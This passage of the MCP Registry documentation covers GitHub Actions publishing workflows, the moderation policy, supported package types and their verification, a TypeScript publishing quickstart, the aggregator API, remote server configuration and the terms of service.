# Optional:
# - name: Set version in server.json
# run: |
# VERSION=${GITHUB_REF#refs/tags/v}
# jq --arg v "$VERSION" '.version = $v' server.json > server.tmp && mv server.tmp server.json
- name: Publish server to MCP Registry
run: ./mcp-publisher publish
```
```yaml PAT authentication theme={null}
name: Publish to MCP Registry
on:
push:
tags: ["v*"] # Triggers on version tags like v1.0.0
jobs:
publish:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- name: Checkout code
uses: actions/checkout@v5
### Publish underlying npm package:
- name: Set up Node.js
uses: actions/setup-node@v5
with:
node-version: "lts/*"
- name: Install dependencies
run: npm ci
- name: Run tests
run: npm run test --if-present
- name: Build package
run: npm run build --if-present
- name: Publish package to npm
run: npm publish
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
### Publish MCP server:
- name: Install mcp-publisher
run: |
curl -L "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_$(uname -s | tr '[:upper:]' '[:lower:]')_$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/').tar.gz" | tar xz mcp-publisher
- name: Authenticate to MCP Registry
run: ./mcp-publisher login github --token ${{ secrets.MCP_GITHUB_TOKEN }}
# Optional:
# - name: Set version in server.json
# run: |
# VERSION=${GITHUB_REF#refs/tags/v}
# jq --arg v "$VERSION" '.version = $v' server.json > server.tmp && mv server.tmp server.json
- name: Publish server to MCP Registry
run: ./mcp-publisher publish
```
```yaml DNS authentication theme={null}
name: Publish to MCP Registry
on:
push:
tags: ["v*"] # Triggers on version tags like v1.0.0
jobs:
publish:
runs-on: ubuntu-latest
permissions:
contents: read
steps:
- name: Checkout code
uses: actions/checkout@v5
### Publish underlying npm package:
- name: Set up Node.js
uses: actions/setup-node@v5
with:
node-version: "lts/*"
- name: Install dependencies
run: npm ci
- name: Run tests
run: npm run test --if-present
- name: Build package
run: npm run build --if-present
- name: Publish package to npm
run: npm publish
env:
NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }}
### Publish MCP server:
- name: Install mcp-publisher
run: |
curl -L "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_$(uname -s | tr '[:upper:]' '[:lower:]')_$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/').tar.gz" | tar xz mcp-publisher
# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
# TODO: Replace `example.com` with your domain name
# !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
- name: Authenticate to MCP Registry
run: ./mcp-publisher login dns --domain example.com --private-key ${{ secrets.MCP_PRIVATE_KEY }}
# Optional:
# - name: Set version in server.json
# run: |
# VERSION=${GITHUB_REF#refs/tags/v}
# jq --arg v "$VERSION" '.version = $v' server.json > server.tmp && mv server.tmp server.json
- name: Publish server to MCP Registry
run: ./mcp-publisher publish
```
## Step 2: Add Secrets
You may need to add a secret to the repository depending on which authentication method you choose:
* **GitHub OIDC Authentication**: No dedicated secret necessary.
* **GitHub PAT Authentication**: Add a `MCP_GITHUB_TOKEN` secret with a GitHub Personal Access Token (PAT) that has `read:org` and `read:user` scopes.
* **DNS Authentication**: Add a `MCP_PRIVATE_KEY` secret with your Ed25519 private key.
You may also need to add secrets for your package registry. For example, the workflow above needs an `NPM_TOKEN` secret with your npm token.
For information about how to add secrets to a repository, see [Using secrets in GitHub Actions](https://docs.github.com/en/actions/how-tos/write-workflows/choose-what-workflows-do/use-secrets).
## Step 3: Tag and Release
Create and push a version tag to trigger the workflow:
```bash theme={null}
git tag v1.0.0
git push origin v1.0.0
```
The workflow will run tests, build the package, publish the package to npm, and publish the server to the MCP Registry.
## Troubleshooting
| Error Message | Action |
| --------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| "Authentication failed" | Ensure `id-token: write` permission is set for OIDC, or check secrets. |
| "Package validation failed" | Verify your package successfully published to the package registry (e.g., npm, PyPI), and that your package has the [necessary verification information](./package-types). |
# The MCP Registry Moderation Policy
Source: https://modelcontextprotocol.io/registry/moderation-policy
The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues).
**TL;DR**: The MCP Registry is quite permissive! We only remove illegal content, malware, spam, and completely broken servers.
## Scope
This policy applies to the official MCP Registry at `registry.modelcontextprotocol.io`.
Subregistries may have their own moderation policies. If you have questions about content on a specific subregistry, please contact them directly.
## Disclaimer
The MCP Registry **does not** make guarantees about moderation, and consumers should assume minimal-to-no moderation.
The MCP Registry is a community supported project, and we have limited active moderation capabilities. We largely rely on upstream package registries (like NPM, PyPI, and Docker) or downstream subregistries (like the GitHub MCP Registry) to do more in-depth moderation.
This means there may be content in the MCP Registry that should be removed under this policy, but which we haven't yet removed. Consumers should treat scraped data accordingly.
## What We Remove
We will remove servers that contain:
* Illegal content, which includes obscene content, copyright violations, and hacking tools
* Malware, regardless of intentions
* Spam, especially mass-created servers that disrupt the registry. Examples:
* The same server being submitted multiple times under different names
* A server that doesn't do anything but provide a fixed response with some marketing copy
* A server with a description stuffed with marketing copy and an unrelated implementation
* Non-functioning servers
## What We Don't Remove
Generally, we believe in keeping the registry open and pushing moderation to subregistries. We therefore **won't** remove:
* Low-quality or buggy servers
* Servers with security vulnerabilities
* Servers that do the same thing as other servers
* Servers that provide or contain adult content
## How Removal Works
When we remove a server, we set the server's `status` to `"deleted"`, but the server's metadata remains accessible via the MCP Registry API. Aggregators may then remove the server from their indexes.
In extreme cases, we may overwrite or erase the server's metadata. For example, if the metadata itself is unlawful.
## Appeals
Think we made a mistake? Open an issue on our [GitHub repository](https://github.com/modelcontextprotocol/registry) with:
* The name of the server
* Why you believe the server doesn't meet the above criteria for removal
## Changes to This Policy
We're still learning how best to run the MCP Registry! As such, we might end up changing this policy in the future.
# MCP Registry Supported Package Types
Source: https://modelcontextprotocol.io/registry/package-types
The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues).
# Package Types
The MCP Registry supports several different package types, and each package type has its own verification method.
## npm Packages
For npm packages, the MCP Registry currently supports the npm public registry (`https://registry.npmjs.org`) only.
npm packages use `"registryType": "npm"` in `server.json`. For example:
```json server.json highlight={9} theme={null}
{
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
"name": "io.github.username/email-integration-mcp",
"title": "Email Integration",
"description": "Send emails and manage email accounts",
"version": "1.0.0",
"packages": [
{
"registryType": "npm",
"identifier": "@username/email-integration-mcp",
"version": "1.0.0",
"transport": {
"type": "stdio"
}
}
]
}
```
### Ownership Verification
The MCP Registry verifies ownership of npm packages by checking `mcpName` in `package.json`. The `mcpName` property **MUST** match the server name from `server.json`. For example:
```json package.json theme={null}
{
"name": "@username/email-integration-mcp",
"version": "1.0.0",
"mcpName": "io.github.username/email-integration-mcp"
}
```
## PyPI Packages
For PyPI packages, the MCP Registry currently supports the official PyPI registry (`https://pypi.org`) only.
PyPI packages use `"registryType": "pypi"` in `server.json`. For example:
```json server.json highlight={9} theme={null}
{
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
"name": "io.github.username/database-query-mcp",
"title": "Database Query",
"description": "Execute SQL queries and manage database connections",
"version": "1.0.0",
"packages": [
{
"registryType": "pypi",
"identifier": "database-query-mcp",
"version": "1.0.0",
"transport": {
"type": "stdio"
}
}
]
}
```
### Ownership Verification
The MCP Registry verifies ownership of PyPI packages by checking for the existence of an `mcp-name: $SERVER_NAME` string in the package README (which becomes the package description on PyPI). The string may be hidden in a comment, but the `$SERVER_NAME` portion **MUST** match the server name from `server.json`. For example:
```markdown README.md highlight={5} theme={null}
# Database Query MCP Server
This MCP server executes SQL queries and manages database connections.
```
## NuGet Packages
For NuGet packages, the MCP Registry currently supports the official NuGet registry (`https://api.nuget.org/v3/index.json`) only.
NuGet packages use `"registryType": "nuget"` in `server.json`. For example:
```json server.json highlight={9} theme={null}
{
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
"name": "io.github.username/azure-devops-mcp",
"title": "Azure DevOps",
"description": "Manage Azure DevOps work items and pipelines",
"version": "1.0.0",
"packages": [
{
"registryType": "nuget",
"identifier": "Username.AzureDevOpsMcp",
"version": "1.0.0",
"transport": {
"type": "stdio"
}
}
]
}
```
### Ownership Verification
The MCP Registry verifies ownership of NuGet packages by checking for the existence of an `mcp-name: $SERVER_NAME` string in the package README. The string may be hidden in a comment, but the `$SERVER_NAME` portion **MUST** match the server name from `server.json`. For example:
```markdown README.md highlight={5} theme={null}
# Azure DevOps MCP Server
This MCP server manages Azure DevOps work items and pipelines.
```
## Docker/OCI Images
For Docker/OCI images, the MCP Registry currently supports:
* Docker Hub (`docker.io`)
* GitHub Container Registry (`ghcr.io`)
* Google Artifact Registry (any `*.pkg.dev` domain)
* Azure Container Registry (`*.azurecr.io`)
* Microsoft Container Registry (`mcr.microsoft.com`)
Docker/OCI images use `"registryType": "oci"` in `server.json`. For example:
```json server.json highlight={9} theme={null}
{
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
"name": "io.github.username/kubernetes-manager-mcp",
"title": "Kubernetes Manager",
"description": "Deploy and manage Kubernetes resources",
"version": "1.0.0",
"packages": [
{
"registryType": "oci",
"identifier": "docker.io/yourusername/kubernetes-manager-mcp:1.0.0",
"transport": {
"type": "stdio"
}
}
]
}
```
The format of `identifier` is `registry/namespace/repository:tag`. For example, `docker.io/user/app:1.0.0` or `ghcr.io/user/app:1.0.0`. The tag can also be specified as a digest.
### Ownership Verification
The MCP Registry verifies ownership of Docker/OCI images by checking for an `io.modelcontextprotocol.server.name` annotation. The value of the `io.modelcontextprotocol.server.name` annotation **MUST** match the server name from `server.json`. For example:
```dockerfile Dockerfile theme={null}
LABEL io.modelcontextprotocol.server.name="io.github.username/kubernetes-manager-mcp"
```
## MCPB Packages
For MCPB packages, the MCP Registry currently supports MCPB artifacts hosted via GitHub or GitLab releases.
MCPB packages use `"registryType": "mcpb"` in `server.json`. For example:
```json server.json highlight={9} theme={null}
{
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
"name": "io.github.username/image-processor-mcp",
"title": "Image Processor",
"description": "Process and transform images with various filters",
"version": "1.0.0",
"packages": [
{
"registryType": "mcpb",
"identifier": "https://github.com/username/image-processor-mcp/releases/download/v1.0.0/image-processor.mcpb",
"fileSha256": "fe333e598595000ae021bd27117db32ec69af6987f507ba7a63c90638ff633ce",
"transport": {
"type": "stdio"
}
}
]
}
```
### Verification
The MCPB package URL (`identifier` in `server.json`) **MUST** contain the string "mcp". That can be as part of the `.mcpb` file extension or in the name of the repository.
The package metadata in `server.json` **MUST** include a `fileSha256` property with a SHA-256 hash of the MCPB artifact, which can be computed using the `openssl` command:
```bash theme={null}
openssl dgst -sha256 image-processor.mcpb
```
The MCP Registry does not validate this hash; however, MCP clients **do** validate the hash before installation to ensure file integrity. Downstream registries may also implement their own validation.
# Quickstart: Publish an MCP Server to the MCP Registry
Source: https://modelcontextprotocol.io/registry/quickstart
The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues).
This tutorial will show you how to publish an MCP server written in TypeScript to the MCP Registry using the official `mcp-publisher` CLI tool.
## Prerequisites
* **Node.js** — This tutorial assumes the MCP server is written in TypeScript.
* **npm account** — The MCP Registry only hosts metadata, not artifacts. Before publishing to the MCP Registry, we will publish the MCP server's package to npm, so you will need an [npm](https://www.npmjs.com) account.
* **GitHub account** — The MCP Registry supports [multiple authentication methods](./authentication). For simplicity, this tutorial will use GitHub-based authentication, so you will need a [GitHub](https://github.com/) account.
If you do not have an MCP server written in TypeScript, you can copy the `weather-server-typescript` server from the [`modelcontextprotocol/quickstart-resources` repository](https://github.com/modelcontextprotocol/quickstart-resources) to follow along with this tutorial:
```bash theme={null}
git clone --depth 1 git@github.com:modelcontextprotocol/quickstart-resources.git
cp -r quickstart-resources/weather-server-typescript .
rm -rf quickstart-resources
cd weather-server-typescript
```
And edit `package.json` to reflect your information:
```diff package.json theme={null}
{
- "name": "mcp-quickstart-ts",
- "version": "1.0.0",
+ "name": "@my-username/mcp-weather-server",
+ "version": "1.0.1",
"main": "index.js",
```
```diff package.json theme={null}
"license": "ISC",
- "description": "",
+ "repository": {
+ "type": "git",
+ "url": "https://github.com/my-username/mcp-weather-server.git"
+ },
+ "description": "An MCP server for weather information.",
"devDependencies": {
```
## Step 1: Add verification information to the package
The MCP Registry verifies that a server's underlying package matches its metadata. For npm packages, this requires adding an `mcpName` property to `package.json`:
```diff package.json theme={null}
{
"name": "@my-username/mcp-weather-server",
"version": "1.0.1",
+ "mcpName": "io.github.my-username/weather",
"main": "index.js",
```
The value of `mcpName` will be your server's name in the MCP Registry.
Because we will be using GitHub-based authentication, `mcpName` **must** start with `io.github.my-username/`.
## Step 2: Publish the package
The MCP Registry only hosts metadata, not artifacts, so we must publish the package to npm before publishing the server to the MCP Registry.
Ensure the distribution files are built:
```bash theme={null}
# Navigate to project directory
cd weather-server-typescript
# Install dependencies
npm install
# Build the distribution files
npm run build
```
Then follow npm's [publishing guide](https://docs.npmjs.com/creating-and-publishing-scoped-public-packages). In particular, you will probably need to run the following commands:
```bash theme={null}
# If necessary, authenticate to npm
npm adduser
# Publish the package
npm publish --access public
```
You can verify your package is published by visiting its npm URL, such as [https://www.npmjs.com/package/@my-username/mcp-weather-server](https://www.npmjs.com/package/@my-username/mcp-weather-server).
## Step 3: Install `mcp-publisher`
Install the `mcp-publisher` CLI tool using a pre-built binary or [Homebrew](https://brew.sh):
```bash macOS/Linux theme={null}
curl -L "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_$(uname -s | tr '[:upper:]' '[:lower:]')_$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/').tar.gz" | tar xz mcp-publisher && sudo mv mcp-publisher /usr/local/bin/
```
```powershell Windows theme={null}
$arch = if ([System.Runtime.InteropServices.RuntimeInformation]::ProcessArchitecture -eq "Arm64") { "arm64" } else { "amd64" }; Invoke-WebRequest -Uri "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_windows_$arch.tar.gz" -OutFile "mcp-publisher.tar.gz"; tar xf mcp-publisher.tar.gz mcp-publisher.exe; rm mcp-publisher.tar.gz
# Move mcp-publisher.exe to a directory in your PATH
```
```bash theme={null}
brew install mcp-publisher
```
Verify that `mcp-publisher` is correctly installed by running:
```bash theme={null}
mcp-publisher --help
```
You should see output like:
```text Output theme={null}
MCP Registry Publisher Tool
Usage:
mcp-publisher [arguments]
Commands:
init Create a server.json file template
login Authenticate with the registry
logout Clear saved authentication
publish Publish server.json to the registry
```
## Step 4: Create `server.json`
The `mcp-publisher init` command can generate a `server.json` template file with some information derived from your project.
In your server project directory, run `mcp-publisher init`:
```bash theme={null}
mcp-publisher init
```
Open the generated `server.json` file, and you should see contents like:
```json server.json theme={null}
{
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
"name": "io.github.my-username/weather",
"description": "An MCP server for weather information.",
"repository": {
"url": "https://github.com/my-username/mcp-weather-server",
"source": "github"
},
"version": "1.0.0",
"packages": [
{
"registryType": "npm",
"identifier": "@my-username/mcp-weather-server",
"version": "1.0.0",
"transport": {
"type": "stdio"
},
"environmentVariables": [
{
"description": "Your API key for the service",
"isRequired": true,
"format": "string",
"isSecret": true,
"name": "YOUR_API_KEY"
}
]
}
]
}
```
Edit the contents as necessary:
```diff server.json theme={null}
{
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
"name": "io.github.my-username/weather",
"description": "An MCP server for weather information.",
"repository": {
"url": "https://github.com/my-username/mcp-weather-server",
"source": "github"
},
- "version": "1.0.0",
+ "version": "1.0.1",
"packages": [
{
"registryType": "npm",
"identifier": "@my-username/mcp-weather-server",
- "version": "1.0.0",
+ "version": "1.0.1",
"transport": {
"type": "stdio"
- },
- "environmentVariables": [
- {
- "description": "Your API key for the service",
- "isRequired": true,
- "format": "string",
- "isSecret": true,
- "name": "YOUR_API_KEY"
- }
- ]
+ }
}
]
}
```
The `name` property in `server.json` **must** match the `mcpName` property in `package.json`.
## Step 5: Authenticate with the MCP Registry
For this tutorial, we will authenticate with the MCP Registry using GitHub-based authentication.
Run the `mcp-publisher login` command to initiate authentication:
```bash theme={null}
mcp-publisher login github
```
You should see output like:
```text Output theme={null}
Logging in with github...
To authenticate, please:
1. Go to: https://github.com/login/device
2. Enter code: ABCD-1234
3. Authorize this application
Waiting for authorization...
```
Visit the link, follow the prompts, and enter the authorization code that was printed in the terminal (e.g., `ABCD-1234` in the above output). Once complete, go back to the terminal, and you should see output like:
```text Output theme={null}
Successfully authenticated!
✓ Successfully logged in
```
## Step 6: Publish to the MCP Registry
Finally, publish your server to the MCP Registry using the `mcp-publisher publish` command:
```bash theme={null}
mcp-publisher publish
```
You should see output like:
```text Output theme={null}
Publishing to https://registry.modelcontextprotocol.io...
✓ Successfully published
✓ Server io.github.my-username/weather version 1.0.1
```
You can verify that your server is published by searching for it using the MCP Registry API:
```bash theme={null}
curl "https://registry.modelcontextprotocol.io/v0.1/servers?search=io.github.my-username/weather"
```
You should see your server's metadata in the search results JSON:
```text Output theme={null}
{"servers":[{ ... "name":"io.github.my-username/weather" ... }]}
```
## Troubleshooting
| Error Message | Action |
| --------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- |
| "Registry validation failed for package" | Ensure your package includes the required validation information (e.g, `mcpName` property in `package.json`). |
| "Invalid or expired Registry JWT token" | Re-authenticate by running `mcp-publisher login github`. |
| "You do not have permission to publish this server" | Your authentication method doesn't match your server's namespace format. With GitHub auth, your server name must start with `io.github.your-username/`. |
## Next Steps
* Learn about [support for other package types](./package-types).
* Learn about [support for remote servers](./remote-servers).
* Learn how to [use other authentication methods](./authentication), such as [DNS authentication](./authentication#dns-authentication) which enables custom domains for server name prefixes.
* Learn how to [automate publishing with GitHub Actions](./github-actions).
# MCP Registry Aggregators
Source: https://modelcontextprotocol.io/registry/registry-aggregators
The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues).
Aggregators are downstream consumers of the MCP Registry that provide additional value. For example, a server marketplace that provides user ratings and security scanning.
The MCP Registry provides an unauthenticated read-only REST API that aggregators can use to populate their data stores. Aggregators are expected to scrape data on a regular but infrequent basis (e.g., once per hour), and persist the data in their own data store. The MCP Registry **does not provide uptime or data durability guarantees**.
## Consuming the MCP Registry REST API
The base URL for the MCP Registry REST API is `https://registry.modelcontextprotocol.io`. It supports the following endpoints:
* [`GET /v0.1/servers`](https://registry.modelcontextprotocol.io/docs#/operations/list-servers-v0.1) — List all servers.
* [`GET /v0.1/servers/{serverName}/versions`](https://registry.modelcontextprotocol.io/docs#/operations/get-server-versions-v0.1) — List all versions of a server.
* [`GET /v0.1/servers/{serverName}/versions/{version}`](https://registry.modelcontextprotocol.io/docs#/operations/get-server-version-v0.1) — Get a specific version of a server. Use the special version `latest` to get the latest version of the server.
URL path parameters such as `serverName` and `version` **must** be URL-encoded. For example, `io.modelcontextprotocol/everything` must be encoded as `io.modelcontextprotocol%2Feverything`.
Aggregators will most likely scrape the `GET /v0.1/servers` endpoint.
### Pagination
The `GET /v0.1/servers` endpoint supports cursor-based pagination.
For example, the first page can be fetched using a `limit` query parameter:
```bash theme={null}
curl "https://registry.modelcontextprotocol.io/v0.1/servers?limit=100"
```
```jsonc Output highlight={5} theme={null}
{
"servers": [
/* ... */
],
"metadata": {
"count": 100,
"nextCursor": "com.example/my-server:1.0.0",
},
}
```
Then subsequent pages can be fetched by passing the `nextCursor` value as the `cursor` query parameter:
```bash theme={null}
curl "https://registry.modelcontextprotocol.io/v0.1/servers?limit=100&cursor=com.example/my-server:1.0.0"
```
### Filtering Since
The `GET /v0.1/servers` endpoint supports filtering servers that have been updated since a given timestamp.
For example, servers that have been updated since 2025-10-23 can be fetched using an `updated_since` query parameter in [RFC 3339](https://datatracker.ietf.org/doc/html/rfc3339) date-time format:
```bash theme={null}
curl "https://registry.modelcontextprotocol.io/v0.1/servers?updated_since=2025-10-23T00:00:00.000Z"
```
## Server Status
Server metadata is generally immutable, except for the `status` field which may be updated to, e.g., `"deprecated"` or `"deleted"`. We recommend that aggregators keep their copy of each server's `status` up to date.
The `"deleted"` status typically indicates that a server has violated our permissive [moderation policy](./moderation-policy), suggesting the server might be spam, malware, or illegal. Aggregators may prefer to remove these servers from their index.
## Acting as a Subregistry
A subregistry is an aggregator that also implements the [OpenAPI spec](https://github.com/modelcontextprotocol/registry/blob/main/docs/reference/api/openapi.yaml) defined by the MCP Registry. This allows clients, such as MCP host applications, to consume server metadata via a standardized interface.
The subregistry OpenAPI spec allows subregistries to inject custom metadata via the `_meta` field. For example, a subregistry could inject user ratings, download counts, and security scan results:
```json server.json highlight={17-26} theme={null}
{
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
"name": "io.github.username/email-integration-mcp",
"title": "Email Integration",
"description": "Send emails and manage email accounts",
"version": "1.0.0",
"packages": [
{
"registryType": "npm",
"identifier": "@username/email-integration-mcp",
"version": "1.0.0",
"transport": {
"type": "stdio"
}
}
],
"_meta": {
"com.example.subregistry/custom": {
"user_rating": 4.5,
"download_count": 12345,
"security_scan": {
"last_scanned": "2025-10-23T12:00:00Z",
"vulnerabilities_found": 0
}
}
}
}
```
We recommend that custom metadata be put under a key that reflects the subregistry (e.g., `"com.example.subregistry/custom"` in the above example).
# Publishing Remote Servers
Source: https://modelcontextprotocol.io/registry/remote-servers
The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues).
The MCP Registry supports remote MCP servers via the `remotes` property in `server.json`:
```json server.json highlight={7-12} theme={null}
{
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
"name": "com.example/acme-analytics",
"title": "ACME Analytics",
"description": "Real-time business intelligence and reporting platform",
"version": "2.0.0",
"remotes": [
{
"type": "streamable-http",
"url": "https://analytics.example.com/mcp"
}
]
}
```
A remote server **MUST** be publicly accessible at its specified URL.
## Transport Type
Remote servers should use the Streamable HTTP transport. The SSE transport is [deprecated](/specification/draft/deprecated), so publish an `"sse"` remote only to support existing clients. Remote servers can also support both transports simultaneously at different URLs.
Specify the transport by setting the `type` property of the `remotes` entry to either `"streamable-http"` or `"sse"`:
```json server.json highlight={9,13} theme={null}
{
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
"name": "com.example/acme-analytics",
"title": "ACME Analytics",
"description": "Real-time business intelligence and reporting platform",
"version": "2.0.0",
"remotes": [
{
"type": "streamable-http",
"url": "https://analytics.example.com/mcp"
},
{
"type": "sse",
"url": "https://analytics.example.com/sse"
}
]
}
```
## URL Template Variables
Remote servers can define URL template variables using `{curly_braces}` notation. This enables multi-tenant deployments where a single server definition can support multiple endpoints with configurable values:
```json server.json highlight={10-17} theme={null}
{
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
"name": "com.example/acme-analytics",
"title": "ACME Analytics",
"description": "Real-time business intelligence and reporting platform",
"version": "2.0.0",
"remotes": [
{
"type": "streamable-http",
"url": "https://{tenant_id}.analytics.example.com/mcp",
"variables": {
"tenant_id": {
"description": "Your tenant identifier (e.g., 'us-cell1', 'emea-cell1')",
"isRequired": true
}
}
}
]
}
```
When configuring this server, users provide their `tenant_id` value, and the URL template gets resolved to the appropriate endpoint (e.g., `https://us-cell1.analytics.example.com/mcp`).
Variables support additional properties like `default`, `choices`, and `isSecret`:
```json server.json highlight={12-22} theme={null}
{
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
"name": "com.example/multi-region-mcp",
"title": "Multi-Region MCP",
"description": "MCP server with regional endpoints",
"version": "1.0.0",
"remotes": [
{
"type": "streamable-http",
"url": "https://api.example.com/{region}/mcp",
"variables": {
"region": {
"description": "Deployment region",
"isRequired": true,
"choices": [
"us-east-1",
"eu-west-1",
"ap-southeast-1"
],
"default": "us-east-1"
}
}
}
]
}
```
## HTTP Headers
MCP clients can be instructed to send specific HTTP headers by adding the `headers` property to the `remotes` entry:
```json server.json highlight={11-18} theme={null}
{
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
"name": "com.example/acme-analytics",
"title": "ACME Analytics",
"description": "Real-time business intelligence and reporting platform",
"version": "2.0.0",
"remotes": [
{
"type": "streamable-http",
"url": "https://analytics.example.com/mcp",
"headers": [
{
"name": "X-API-Key",
"description": "API key for authentication",
"isRequired": true,
"isSecret": true
}
]
}
]
}
```
## Supporting Remote and Non-remote Installation
The `remotes` property can coexist with the `packages` property in `server.json` in order to allow MCP host applications to choose the preferred method of installation.
```json server.json highlight={7-22} theme={null}
{
"$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json",
"name": "io.github.username/email-integration-mcp",
"title": "Email Integration",
"description": "Send emails and manage email accounts",
"version": "1.0.0",
"remotes": [
{
"type": "streamable-http",
"url": "https://email.example.com/mcp"
}
],
"packages": [
{
"registryType": "npm",
"identifier": "@example/email-integration-mcp",
"version": "1.0.0",
"transport": {
"type": "stdio"
}
}
]
}
```
# Official MCP Registry Terms of Service
Source: https://modelcontextprotocol.io/registry/terms-of-service
The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues).
**Effective date: 2025-09-02**
## Overview
These terms (“Terms”) govern your access to and use of the official MCP Registry (the service hosted at [https://registry.modelcontextprotocol.io/](https://registry.modelcontextprotocol.io/) or a successor location) (“Registry”), including submissions or publications of MCP servers, references to MCP servers or to data about such servers and/or their developers (“Registry Data”), and related conduct. The Registry is intended to be a centralized repository of MCP servers developed by community members to facilitate easy access by AI applications.
These terms are governed by the laws of the State of California.
## For All Users
1. No Warranties. The Registry is provided “as is” with no warranties of any kind. That means we don't guarantee the accuracy, completeness, safety, durability, or availability of the Registry, servers included in the registry, or Registry Data. In short, we’re also not responsible for any MCP servers or Registry Data, and we highly recommend that you evaluate each MCP server and its suitability for your intended use case(s) before deciding whether to use it.
2. Access and Use Requirements. To access or use the Registry, you must:
1. Be at least 18 years old.
2. Use the Registry, MCP servers in the Registry, and Registry Data only in ways that are legal under the applicable laws of the United States or other countries including the country in which you are a resident or from which you access and use the Registry, and not be barred from accessing or using the Registry under such laws. You will comply with all applicable law, regulation, and third party rights (including, without limitation, laws regarding the import or export of data or software, privacy, intellectual property, and local laws). You will not use the Registry, MCP servers, or Registry Data to encourage or promote illegal activity or the violation of third party rights or terms of service.
3. Log in via method(s) approved by the Registry maintainers, which may involve using applications or other software owned by third parties.
3. Entity Use. If you are accessing or using the Registry on behalf of an entity, you represent and warrant that you have authority to bind that entity to these Terms. By accepting these Terms, you are doing so on behalf of that entity (and all references to “you” in these Terms refer to that entity).
4. Account Information. In order to access or use the Registry, you may be required to provide certain information (such as identification or contact details) as part of a registration process or in connection with your access or use of the Registry or MCP servers therein. Any information you give must be accurate and up-to-date, and you agree to inform us promptly of any updates. You understand that your use of the Registry may be monitored to ensure quality and verify your compliance with these Terms.
5. Feedback. You are under no obligation to provide feedback or suggestions. If you provide feedback or suggestions about the Registry or the Model Context Protocol, then we (and those we allow) may use such information without obligation to you.
6. Branding. Only use the term “Official MCP Registry” where it is clear it refers to the Registry, and does not imply affiliation, endorsement, or sponsorship. For example, you can permissibly say “Acme Inc. keeps its data up to date by automatically pulling data from the Official MCP Registry” or “This data comes from the Official MCP Registry,” but cannot say “This is the website for the Official MCP Registry,” “We’re the premier destination to view Official MCP Registry data,” or “We’ve partnered with the Official MCP Registry to provide this data.”
7. Modification. We may modify the Terms or any portion to, for example, reflect changes to the law or changes to the Model Context Protocol. We’ll post notice of modifications to the Terms to this website or a successor location. If you do not agree to the modified Terms, you should discontinue your access to and/or use of the Registry. Your continued access to and/or use of the Registry constitutes your acceptance of any modified Terms.
8. Additional Terms. Depending on your intended use case(s), you must also abide by applicable terms below.
## For MCP Developers
9. Prohibitions. By accessing and using the Registry, including by submitting MCP servers and/or Registry Data, you agree not to:
1. Share malicious or harmful content, such as malware, even in good faith or for research purposes, or perform any action with the intent of introducing any viruses, worms, defects, Trojan horses, malware, or any items of a destructive nature;
2. Defame, abuse, harass, stalk, or threaten others;
3. Interfere with or disrupt the Registry or any associated servers or networks;
4. Submit data with the intent of confusing or misleading others, including but not limited to via spam, posting off-topic marketing content, posting MCP servers in a way that falsely implies affiliation with or endorsement by a third party, or repeatedly posting the same or similar MCP servers under different names;
5. Promote or facilitate unlawful online gambling or disruptive commercial messages or advertisements;
6. Use the Registry for any activities where the use or failure of the Registry could lead to death, personal injury, or environmental damage;
7. Use the Registry to process or store any data that is subject to the International Traffic in Arms Regulations maintained by the U.S. Department of State.
10. License. You agree that metadata about MCP servers you submit (e.g., schema name and description, URLs, identifiers) and other Registry Data is intended to be public, and will be dedicated to the public domain under [CC0 1.0 Universal](https://creativecommons.org/publicdomain/zero/1.0/). By submitting such data, you agree that you have the legal right to make this dedication (i.e., you own the copyright to these submissions or have permission from the copyright owner(s) to do so) and intend to do so. You understand that this dedication is perpetual, irrevocable, and worldwide, and you waive any moral rights you may have in your contributions to the fullest extent permitted by law. This dedication applies only to Registry Data and not to packages in third party registries that you might point to.
